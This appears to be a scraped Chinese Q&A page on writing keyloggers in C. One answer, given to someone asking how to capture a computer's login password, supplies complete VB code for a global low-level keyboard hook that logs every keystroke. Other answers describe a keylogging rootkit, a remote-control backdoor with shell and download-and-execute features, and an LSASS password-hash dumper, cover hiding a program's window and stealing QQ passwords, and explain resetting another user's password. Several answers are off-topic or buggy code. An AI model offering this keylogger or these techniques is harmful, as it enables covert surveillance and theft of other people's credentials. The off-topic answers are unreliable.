当前位置:首页 » 编程语言 » c语言键盘记录器

c语言键盘记录器

发布时间: 2022-08-22 10:59:54

① 如何用c语言设计一个键盘记录器,新手

#include #include #define Max 100int main(){ char a[Max];//输入的字符串 char b[Max]="小明";//比较的字符串 printf("你是?\n"); scanf("%s",a);//输入字符串,这种方式字符串之间不能有空格,用, if(strcmp(a,b)==0){ //如果相等的话返回值为0 printf("你好\n"); } else{ printf("不认识你\n"); } return 0;}经过测试,可行!满意请采纳!

② 在c语言中如何记录冲键盘上输入的数据

这个容易哦,不过分太少了.
因为分太少,所以偷了点懒.按E和按F键的功能,我没有做.就是说,少写两个函数.
而且输入格式方面也有点问题.当然,改起来不难.
如果你加分的话,我会帮你做完.
呵呵,其实做到这里,其它的也不难了,可以自己练练.
#include<stdio.h>
#include <stdlib.h>
struct student
{
char name[20];
char num[20];
int a,a1,a2,a3,a4;
int aver;
}stu[10];
void mark(student *b)
{ int i;
for(i=0;i<10;i++)
{
b[i].a=b[i].a1+b[i].a2+b[i].a3+b[i].a3;
printf("%d ",b[i].a);
}
printf("\n");
}
void avemark(student *b)
{ int i;
for(i=0;i<10;i++)
{
b[i].a=b[i].a1+b[i].a2+b[i].a3+b[i].a3;
b[i].aver=b[i].a/4;
printf("%d ",b[i].aver);
}
printf("\n");
}
void maxstudent(student *b)
{ int i,max;
for(i=0;i<9;i++)
{
max=(b[i].a>b[i+1].a)?b[i].a:b[i+1].a;
}
for(i=0;i<10;i++)
if(b[i].a==max)
{
printf("最高分数学生的姓名,学号,总分,平均分如下:\n");
printf("%s %s %d\n",b[i].name,b[i].num,b[i].a,b[i].aver);
}
}
void xianshi(student *b)
{
int i;
printf("所有学生信息如下(依次为学生的姓名,学号,总分,四科成绩):\n");
for(i=0;i<10;i++)
{
printf("%s %s %d %d %d %d %d %d\n",b[i].name,b[i].num,b[i].a,b[i].a1,b[i].a2,b[i].a3,b[i].a4);
}
}
int main()
{ int i,n;char c;
printf("依次输入学生信息(姓名,学号,四科成绩\n注意:各项信息用空格分开,输完一个学生后按回车,接着输下一个学生\n");
printf("输入要输入学生的人数:\n");
scanf("%d",&n);
for(i=0;i<n;i++)

printf("菜单如下:\n按A键打印四门课的总成绩.\n按B键打印出平均成绩按.\n");
printf("C键打印最高分的学生信息\n按D键显示所有学生信息.\n");
printf("按E添加一个学生的记录.\n按F键删除一个学生记录.\n按Q键退出.\n");
printf("请按键选择(以小写字母输入):\n");
scanf("%c",&c);
switch(c)
{
case 'a':mark(stu);break;
case 'b':avemark(stu);break;
case 'c':maxstudent(stu);break;
case 'd':xianshi(stu);break;
case 'e':break;
case 'f':break;
case 'q':abort();
}
return 0;
}

③ 如何用c语言编写一个,能够记录键盘上,所输入的数的程序

#include<stdio.h>
intmain()
{
inta[100],i=0,j;
do{
scanf("%d",&a[i++]);
}while(a[i-1]!=-1);
for(j=0;j<i-1;j++)
printf("%4d",a[j]);
return0;
}

④ c语言如何编写键盘记录器 如果键盘记录器不运行的话,能不能监测到键盘的输入(因为平时我们电脑上

写程序的时候不建控制台程序即可。
也可在控制台程序前加入:
#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#endif

#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
cout<<"Hello world!"<<endl;
::MessageBox(NULL , "" , "" , 0);
//暂停程序,就可以在任务管理器看这个我们的程序是运行了!
return 0;
}

⑤ Trojan/Rootkit.o 是什么病毒,有什么危害

键盘记录器Rootkit”

此病毒是一个Rootkit病毒,由C语言编写的过滤驱动程序,提供键盘按键记录功能。

该Rootkit病毒近期多次被Trojan.PSW.Win32.GameOnline型的病毒释放使用,在该病毒体内可以看到“C:\new-gamehack\GameHack\Driver\bin\i386\mssock.pdb”的字样,从编译路径可以看出该Rootkit显然是作者特意为盗取游戏密码病毒所写。

1、该病毒驱动程序入口函数执行如下操作:

(1) 检查系统是否存在USB键盘设备:病毒首先通过调用ObReferenceObjectByName函数得到\Driver\hisb的驱动对象,然后遍历该驱动对象创建的功能设备的设备链。对设备链上的每个设备对象,遍历其所在的设备栈,对设备栈上的每个设备对象,通过 DEVICE_OBJECT->DriverObject->DriverName获取每个设备的驱动名称,比较是否是Driver\kbdhid,如果找到表示有USB键盘设备,得到USB键盘设备对象的指针。

(2)对键盘设备挂接过滤驱动:建立名称为“\Device\mssock”、符号链接名为“\??\mssock”、类型为“FILE_DEVICE_UNKNOWN”的设备,然后通过调用函数IoAttachDeviceToDeviceStack将该设备挂接到键盘设备所在的设备栈。

对于USB键盘设备,挂接的目标设备为通过前面搜索得到的USB设备对象。对于没有USB键盘设备的情况,通过调用IoGetDeviceObjectPointer获取名称为“\Device\KeyboardClass0”的PS/2 键盘设备作为目标设备。

(3)填写功能函数地址:填充卸载例程及各个IRP处理例程回调。

2、病毒的IRP_MJ_READ处理例程:设置完成例程后直接调用IofCallDriver向下一设备传递IRP

3、病毒驱动设立的对键盘读的irp包的完成例程:在该完成例程中,病毒驱动实现了获取并记录键盘按键的功能。病毒将读到的按键记录到缓冲区(通过DEVICE_OBJECT.DeviceExtension传递地址)。同时病毒作者在这里和IRP_MJ_DEVICE_CONTROL例程中通过写0x60端口发送命令控制键盘NumLock灯的开闭,可能是作者为了调试时能够方便的知道其过滤驱动的工作情况。

4、病毒驱动的IRP_MJ_DEVICE_CONTROL处理例程:在这个处理例程中,病毒对值为“0x 80102180”和“80102184”的IOCTL进行了处理。对于IOCTL = 0x 80102180 , 进行初始化处理,如清空记录缓冲区、计数器等。对于IOCTL = 0x 80102180 ,病毒将把在缓冲区中记录的按键扫描码返回给调用者。使用这个rootkit的程序可以调用DeviceIoContro函数进行控制和读取按键记录。

5、卸载例程:

调用IoDetachDevice摘除过滤设备

调用IoDeleteSymbolicLink删除符号链接

检查是否有IRP未完成且IRP有效则调用IoCancelIrp尝试取消这个IRP,如果取消IRP失败则等待直到有下一次IRP然后取消。

调用IoDeleteDevice删除设备。

由于该驱动在卸载例程中安全地删除了过滤设备并尝试取消未完成的IRP,所以该Rootkit可以被安全地卸载。不过一般的病毒作者很少会给用户留下安全的卸载例程,所以怀疑该Rootkit是作者从网上抄来的代码,作者有可能甚至不了解该驱动真正的工作原理。

“幻影后门”

这是一个具有感染功能、提供多种连接方式、可配置的后门病毒。

病毒作者在病毒体(客户端控制程序)内留下了明确的签名:
作者:dream2fly 作者网址: www.dream2fly.net 作者邮箱:[email protected]
作者的网址(论坛)中提供了多个自己编写的软件,包括本后门病毒。
作者的论坛中称本病毒为UAM (Universal Access Manager),中文名称“幻影远程控制”,提供收费注册使用。

病毒分为5个部分:服务端安装程序(ctfime.exe)、服务端核心程序(SysIdt00.dll)、服务端启动程序(被感染的explorer.exe)、客户端控制程序(UAManager.exe)、隐藏端口的Rootkit (uamanger.sys)。

服务端安装程序由C/C++语言编写,UPX加壳保护。其它部分由C/C++或汇编语言编写。

1、 服务端安装程序
服务端安装程序执行如下操作:

(1) 服务端安装程序运行后从程序资源中释放如下文件:

"%windir%\system32\SysIdt00.dll"、"%windir%\system32\DRIVERS\uamanger.sys"

(2) 然后将自己复制为"%windir%\system32\ctfime.exe"并启动,同时删除原文件。

(3) 将SysIdt00.dll、ctfime.exe、uamanger.sys的文件时间修改为同系统的cmd.exe相同,并将属性设置为“系统+隐藏”。

(4) 修改系统的文件保护,然后感染系统的explorer.exe。

(5) 以隐藏窗口方式启动被感染的explorer.exe。

2、 服务端启动程序(被感染的explorer.exe)

服务端安装程序在感染explorer.exe时,在其最后增加一个大小为0x1000的节写入病毒代码,并将入口点改为指向新的节的开始。被感染的病毒代码执行时通过调用LoadLibraryA装载SysIdt00.dll,然后返回原入口点。病毒感染explorer.exe的目的是为了在系统启动时都能运行SysIdt00.dll,达到自启动的目的。

3、服务端核心程序(SysIdt00.dll)

SysIdt00.dll中是远端监控的核心代码。
SysIdt00.dll通过被感染的explorer.exe被装载后执行如下功能:

(1) 通过调用SeDebugPrivilege等函数提升权限。

(2) 遍历进程对找到的第一个”svchost”进程,将自己将注入其内存,然后通过CreateRemoteThread启动其导出函数”Entry”。

SysIdt00.dll被注入svchost进程后执行如下功能:

(1) 通过尝试打开名为"UAM_4803"的互斥量来检查驱动是否加载,如加载则不做其它操作。

(2) 如果驱动没有加载,根据设置(可在生成服务端时设置是否加载驱动)加载驱动"%windir%\system32\DRIVERS\uamanger.sys"。

(3) 启动工作线程,实现远程监控功能。

(4) 在实现连接时,通过写文件"\\.\UAM"将连接的端口传给驱动,实现隐藏端口。

(5) 根据设置的连接方式和密码连接客户端(控制端)

生成服务端时可以设置三种连接方式:
直接连接方式(设置监听,由控制端来连接服务端)
反弹连接方式1 (设置ip地址和端口,服务端去连接控制端)
反弹连接方式2 (设置网页地址,服务端从这个地址下载ip.txt,按照其内容去连接控制端)

(6) 远程控制可以接受如下命令执行操作:

远程shell (cmd.exe命令操作)
进程管理
文件管理
远程桌面
视频监控
日志管理(查看、删除系统日志)
从任意网址下载、执行文件
远程更新、卸载服务端

4、客户端控制程序(UAManager.exe)

客户端控制程序提供远程连接控制功能,并且可以生成服务端程序。
在生成服务端程序时,可以进行如下设置:

连接方式和地址、连接密码、是否加载驱动、服务端运行时间。

5、隐藏端口的Rootkit (uamanger.sys)

病毒名称为Rootkit.Win32.PortHide.a,该驱动加载后首先创建一个名为\Device\hypy的设备和一个名为\??\hypy的符号链接用来和3环程序交互。这个设备名与3环程序所使用的符号链接(\\.\UAM)不同,所以显然我们所截获的样本是无法正常工作的。

之后该驱动注册IRP处理回调,在IRP_MJ_WRITE处理例程中,该驱动接受3环传入的需要隐藏的端口号,并保存在一个全局变量中。不过该Rootkit作者显然对驱动编写很不熟悉,所有的IRP处理例程均没有通过IofCompleteRequest完成,而是直接返回到I/O管理器。所以该驱动是无法正常地完成所希望实现的功能的。

该驱动通过替换KeServiceDescriptorTable中的函数地址来挂钩ZwDeviceIoControlFile,该Rootkit通过挂钩该API来隐藏指定端口。

“代理Rootkit变种XD”

此程序为rootkit类型程序
1.在驱动初始化时,对设备名和设备符号链接字符串进行解码,并创建设备和相应的符号链接来与用户态程序通信;
2.去除CR0寄存器中的WP位,以防止写只读页出现页异常,然后将内存中的加密字符串解码并写回,此解密字符串将用来与IOCTL传递的参数比较,从而判断是否响应该用户程序的IOCTRL;
3.获取进程的EPROCESS地址,在此结构体中搜索"system"字符串偏移,然后根据此偏移计算进程名在EPROCESS中的偏移,以备比较进程时使用;
4.注册IRP处理例程
支持:创建文件、设置注册表键值、关闭线程和卸载驱动
5.创建系统线程,每隔指定的时间后,尝试写入驱动程序对应的注册表项
6.注册进程创建通知例程,每当创建新进程时,该驱动做如下操作:
1)获取创建进程的EPROCESS,根据计算的偏移获取当前进程名称
2)判断当前创建进程是否为userinit.exe或者是explorer.exe,
如果是则创建系统线程,写入注册表项
\registry\machine\software\microsoft\windows\currentversion\runonce
键值:
%systemroot%\system32\Rundll32.exe %systemroot%\system32\%s.dll,DllUnregisterServer
3)映射ntoskrnl.exe到内存中,获取ntoskrnl.exe的服务表中指定服务函数的地址并保存,利用获取的服务函数地址枚举注册表,试图绕过其他软件的拦截;
4)记录 Winlogon.exe 的启动,但没有做其它操作,可能在以后的版本中会进行相关处理

“哈希信息窃取器”

这是一个C/C++编写的黑客工具。

该工具主要用来获取当前主机用户的LM/NTLM散列,使用者可以通过该散列对主机用户密码进行暴力破解.

支持用法:pwmp2 <pid of lsass.exe>

主程序行为:
1.若没有指定lsass.exe/pid参数,则执行如下操作:
[1].加载ntdll.dll,获取导出函数
NtQuerySystemInformation
RtlCompareUnicodeString
[2].调用NtQuerySystemInformation,InformationClass=5,获取进程信息列表
[3].遍历列表查找LSASS.EXE,获取该进程ID

2.打开自身进程,添加SeDebugPrivilege权限,以允许当前进程对LSASS.EXE等进程进行内存操作和线程操作

3.打开查找到的进程LSASS.EXE,获取该进程句柄

4.创建一事件,用于与通信线程同步

5.创建通信线程,执行如下操作:
[1]. 根据当前进程ID创建命名管道\\.\pipe\pwmp2-%ID%
[2]. 设置事件为有状态,通知主线程管道创建成功
[3]. 连接到管道并从中读取数据直到关闭

6.在创建的事件上等待,与之前创建的管道通信线程同步

7.向LSASS.EXE进程空间中写入创建的管道名和辅助动态库SamDump.dll导出函数名(DumpSam)作为参数,创建远程线程.
在远程线程中,根据传递的API地址,加载DLL,获取DLL导出函数(DumpSam)并调用

8.等待远程线程返回,释放资源。

动态库SamDump.dll导出函数DumpSam(char *)执行如下操作:

1.根据传入参数打开通信管道

2.加载samsrv.dll,获取如下函数地址
SamIConnect
SamrOpenDomain
SamrOpenUser
SamrQueryInformationUser
SamrEnumerateUsersInDomain
SamIFree_SAMPR_USER_INFO_BUFFER
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle

3.依次调用如下函数
LsaOpenPolicy打开NT工作站
LsaQueryInformationPolicy获取工作站域SID
SamIConnect连接到SAM数据库
SamrOpenDomain根据域SID打开域
SamrEnumerateUsersInDomain枚举域内用户
SamrOpenUser打开域内指定用户,获取句柄
SamrQueryInformationUser枚举域用户信息
SamIFree_SAMPR_USER_INFO_BUFFER
SamrCloseHandle

⑥ 学了哪些比如C语言,怎么编程比如获取QQ密码,获取键盘记录,谢谢了

QQ密码不是那么好获取的,有干扰,在密码框还有一个timer定时器只要你鼠标放到密码框去,就会被激活这个定时器而且会随机插入其它字符进来,而且密码框还有Hook,专门是否有Hook加载准们对方其它Hook钩子,如果发现就会马上卸载,因为QQ密码框不但有加载的Hook,还有卸载的

⑦ c语言中Sleep时总是记录键盘输入,若无意按下,导致下面进行的gets时已经有了输入的字符,须退格,怎解决

在Sleep函数后面加一个字符处理的代码:

while(getchar()!=EOF);

⑧ 如何用键盘记录器来获取电脑开机密码

键盘记录可以,但输入密码时window还没进入呢
想要破解密码到网上找把这种软件多的是
暴力点的直接去掉:
对我的电脑点右键->管理->(左边)本地用户和组->右边双击用户->对你想去密码的用户点右键,设置密码(这个不需要原密码)点确定就行了
用键盘记录:
'先建一个工程
'要有一个窗体(Form1)和模块,窗体中加一个list1
'-----------------------窗体代码-------------------------
Public hHook
Private Sub Form_Load()
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)
End Sub

Private Sub Form_Unload(Cancel As Integer)
UnhookWindowsHookEx hHook
End Sub
'--------------------------模块代码----------------------------

Option Explicit

Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Const WH_KEYBOARD = 2
Public Const WH_KEYBOARD_LL = 13
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const WM_SYSCHAR = &H106
Public Const WM_SYSCOMMAND = &H112

Public Type KEYMSGS
vKey As Long '虚拟码 (and &HFF)
sKey As Long '扫描码
flag As Long '键按下:128 抬起:0
time As Long 'Window运行时间
End Type

Public keyMsg As KEYMSGS '键盘消息
Public hHook As Long '创建的钩子的句柄
Dim Key1, Key2
Dim Keys1 As Boolean, Keys2 As Boolean
Public StrKey1 As String
Public StrKey2 As String
Dim StrTxts As String
Public Downed As Boolean
Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Dim lKey As Long

Dim strKeyName As String * 255

Dim strLen As Long

If idHook = HC_ACTION Then

CopyMemory keyMsg, lParam, LenB(keyMsg)

Select Case wParam

Case WM_SYSKEYUP, WM_KEYUP '判断是否为键盘消息

lKey = keyMsg.sKey And &HFF '扫描码

lKey = lKey * 65536 '将扫描码左移16位,使位0~15置0

If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then

strLen = GetKeyNameText(lKey, strKeyName, 250) '获取该按键的名称

Else

strLen = GetKeyNameText((lKey Or &H1000000), strKeyName, 250) '位24为增强型键盘上的扩展位
End If

Form1.List1.AddItem strKeyName

End Select

End If

CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) '呼叫下一个钩子

End Function

⑨ 怎样通过C语言记录键盘输入字符的个数

可以使用循环控制
例如:
#include"stdio.h"
main()
{
int i,j;
int year[5][2];
for(i=0;i<5;i++)//总共5组
{
for(j=0;j<2;j++)//每组2个
scanf("%d",&year[i][j]);
for(j=0;j<2;j++)
printf("%d,",year[i][j]);//输入完两个数接着输出,然后下一次两个数输入
printf("\n");
}
}
如果你想运行程序可以手动删除//以及之后的中文说明,那是解释部分,方便你理解的。

⑩ 键盘记录器

你是怎么运行的?编译了没?

热点内容
安卓咪咕音乐怎么录制视频 发布:2024-05-19 07:56:06 浏览:838
如何搞出超大声的听声辨位安卓版 发布:2024-05-19 07:46:21 浏览:927
linux安全模式 发布:2024-05-19 07:27:25 浏览:176
为什么安卓手机安装不了cpk 发布:2024-05-19 07:22:21 浏览:313
pythonempty 发布:2024-05-19 07:15:16 浏览:930
路由器虚拟服务器搭建 发布:2024-05-19 07:15:15 浏览:999
方舟编译器何时推送 发布:2024-05-19 07:15:10 浏览:599
魔兽世界自动钓鱼脚本 发布:2024-05-19 06:43:07 浏览:496
cbs加密 发布:2024-05-19 06:29:56 浏览:203
ssis存储过程 发布:2024-05-19 06:21:31 浏览:632